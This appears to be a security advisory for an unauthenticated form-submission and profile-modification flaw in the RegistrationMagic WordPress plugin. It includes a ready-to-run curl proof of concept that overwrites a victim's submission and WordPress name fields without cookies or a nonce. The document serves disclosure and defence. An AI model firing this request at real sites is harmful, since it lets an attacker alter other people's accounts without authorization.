RegistrationMagic < 6.0.9.4 – Unauthenticated Form Submission and User Profile Modification | CVE 2026-15257

Description

The plugin does not perform authorization, ownership or nonce checks on a front-end submission-editing action, allowing unauthenticated attackers to overwrite other users' form submissions and the profile fields of the associated non-administrator WordPress accounts.

Proof of Concept

Prerequisites: a RegistrationMagic contact form (form_id=1 below) with front-end submission editing enabled (a field with field_is_editable=1) and published via [RM_Front_Submissions] on a page; at least one existing victim submission (submission_id=1) whose Email field value matches a non-administrator WordPress user. Field element names follow <FieldType>_<field_id> (e.g. Email_3, Fname_1, Lname_2, Textbox_10).

Single unauthenticated request (no cookies, no nonce, no OTP):

curl -sk "https://victim.example/?page_id=<submissions_page_id>&submission_id=1" \
  --data-urlencode "rm_slug=rm_user_form_edit_sub" \
  --data-urlencode "form_id=1" \
  --data-urlencode "rm_form_sub_id=form_1_1" \
  --data-urlencode "rm_form_sub_no=1" \
  --data-urlencode "rm_cond_hidden_fields=" \
  --data-urlencode "Email_3=victim@example.com" \
  --data-urlencode "Fname_1=HACKED" \
  --data-urlencode "Lname_2=PWNED" \
  --data-urlencode "Textbox_10=ATTACKER_CONTROLLED"

Result: victim submission #1 fields are overwritten AND the WordPress user whose email is victim@example.com has first_name/last_name/display_name overwritten (to HACKED / PWNED / HACKED PWNED).

Negative controls: the same request with an empty cookie jar still succeeds (no authentication required); targeting an administrator's email leaves that admin's profile unchanged (a manage_options guard protects administrators; email/login/password/role are never modified).